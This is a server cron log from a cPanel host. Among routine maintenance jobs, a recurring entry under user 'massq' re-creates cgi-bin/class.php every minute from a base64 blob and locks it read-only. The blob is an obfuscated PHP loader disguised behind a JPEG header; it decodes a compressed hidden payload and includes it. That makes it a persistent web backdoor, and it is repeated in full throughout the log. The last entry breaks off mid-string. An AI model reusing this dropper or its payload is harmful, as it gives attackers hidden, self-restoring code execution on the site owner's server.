Aug 31 22:14:01 server CROND[23647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:14:01 server CROND[23649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:14:01 server CROND[23648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:15:01 server CROND[24040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:15:01 server CROND[24042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:15:01 server CROND[24043]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 22:15:01 server CROND[24044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:15:01 server CROND[24048]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:15:01 server CROND[24046]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 22:15:01 server CROND[24049]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 22:15:01 server CROND[24047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:15:01 server CROND[24045]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:16:01 server CROND[24992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:16:01 server CROND[24994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:16:01 server CROND[24993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:17:01 server CROND[25385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:17:01 server CROND[25386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:17:01 server CROND[25387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:18:01 server CROND[25768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:18:01 server CROND[25769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:18:01 server CROND[25771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:19:01 server CROND[26256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:19:01 server CROND[26257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:19:01 server CROND[26255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:20:01 server CROND[26654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:20:01 server CROND[26656]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:20:01 server CROND[26658]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 22:20:01 server CROND[26660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:20:01 server CROND[26659]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:20:01 server CROND[26661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:20:01 server CROND[26662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:20:01 server CROND[26670]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:20:02 server CROND[26664]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 22:21:01 server CROND[27512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:21:01 server CROND[27511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:21:01 server CROND[27513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:22:01 server CROND[27894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:22:01 server CROND[27896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:22:01 server CROND[27895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:23:01 server CROND[28268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:23:01 server CROND[28269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:23:01 server CROND[28270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:24:01 server CROND[28783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:24:01 server CROND[28782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:24:01 server CROND[28784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:25:01 server CROND[29169]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:25:01 server CROND[29170]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 22:25:01 server CROND[29173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:25:01 server CROND[29178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 22:25:01 server CROND[29176]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 22:25:01 server CROND[29177]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 22:25:01 server CROND[29179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVp